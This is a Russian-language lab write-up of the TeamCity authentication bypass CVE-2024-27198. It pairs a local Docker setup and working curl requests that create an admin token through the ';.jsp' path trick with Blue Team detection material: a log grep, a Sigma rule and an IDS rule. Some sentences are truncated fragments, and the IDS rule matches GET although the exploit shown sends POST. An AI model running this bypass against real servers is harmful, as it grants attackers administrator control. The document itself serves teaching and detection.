
TeamCity предоставляет страницу управления токенами, доступную только администратору, которая не защищена аутентификацией. Это позволяет неаутентифицированному пользователю создать токен доступа для администратора, если он сможет найти идентификатор существующего пользователя.
Уязвимость кроется в механизме маршрутизации REST API. Добавляя определённые символы (например, ?jsp=/app/rest/...;.jsp) к неаутентифицированному конечному пункту, злоумышленники могут обмануть веб-сервер TeamCity, заставив его направить запрос на аутентифицированную конечную точку, минуя фильтры безопасности. Это не требует никаких предварительных знаний или доступа, что делает эту уязвимость чистой оценкой 9.8 по CVSS.
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
Откройте уязвимый экземпляр Teamcity по адресу http://localhost:8111. Откройте исправленный экземпляр Teamcity по адресу http://localhost:8112.
Имя пользователя:
admin
Пароль:
admin
GET-запрос к ресурсу без аутентификации:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Оба должны вернуть ошибку со статусом 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Это должно вернуть токен, похожий на этот (токен каждый раз разный):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Это должно вернуть ошибку со статусом 401, поскольку исправленный экземпляр не содержит уязвимости.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Должен вернуть список пользователей.
Во время демонстрации в лаборатории можно показать важную находку для Blue Team: по умолчанию эта уязвимость невероятно скрытна!
;.jsp не регистрируются.Так как же её обнаружить? Когда злоумышленник заметает следы! Когда злоумышленник удаляет свой нелегитимный токен, чтобы скрыться, TeamCity регистрирует это.
Найдите злоумышленника, заметающего следы, в журналах аудита:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(Вы увидите запись в журнале, указывающую, что токен "REDTEAM" был удалён).
docker compose -f docker-compose.yml down
Эта уязвимость является примером CWE-288: Обход аутентификации с использованием альтернативного пути или канала.
Проблема возникает из-за путаницы путей между веб-сервером Tomcat и маршрутизатором приложения TeamCity. Добавляя ;.jsp и передавая целевой REST API endpoint в параметре jsp=, первоначальный фильтр безопасности интерпретирует запрос как неаутентифицированный запрос к публичному .jsp-файлу (который разрешён). Однако внутренний маршрутизатор удаляет ;.jsp и перенаправляет запрос на ограниченный endpoint /app/rest/, не применяя фильтр аутентификации.
Легитимный сценарий использования (почему ; разрешён?):
Tomcat использует символ точки с запятой (;) для матричных параметров. Исторически этот механизм применяется для передачи параметров непосредственно в пути, например, добавления JSESSIONID для поддержания состояния пользовательской сессии, когда файлы cookie отключены. Это нормальное, легитимное поведение веб-сервера в сочетании с некорректной проверкой маршрутизатором приложения TeamCity и создаёт уязвимость.
Чтобы обнаружить текущую или прошлую компрометацию, Blue Teams должны обращать внимание на:
/app/rest/, но содержащие аномальную строку ;.jsp в URI.teamcity-server.log): Необъяснимая генерация токенов доступа или создание новых учётных записей администратора.Поскольку первоначальная эксплуатация по умолчанию скрытна, Blue Teams должны полагаться на обнаружение действий злоумышленника после эксплуатации, таких как заметание следов. Вот правило Sigma для вашего SIEM для обнаружения подозрительных удалений токенов:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
Чтобы доказать, что это обнаружение работает, запустите скрипт siem_simulator.py.
docker compose up -d).python3 siem_simulator.py
Для обнаружения этой попытки эксплуатации в сети SOC может внедрить следующее правило IDS, которое ищет аномальный шаблон ;.jsp в сочетании с путями REST API:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Чтобы доказать, что смягчение работает, вы можете запустить тот же самый эксплойт против исправленного контейнера TeamCity, работающего на порту 8112:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Поскольку патч строго обеспечивает сопоставление маршрутов и корректно санирует матричные параметры, обход не сработает. Вы должны увидеть ответ 401 Unauthorized или 404 Not Found вместо сгенерированного токена.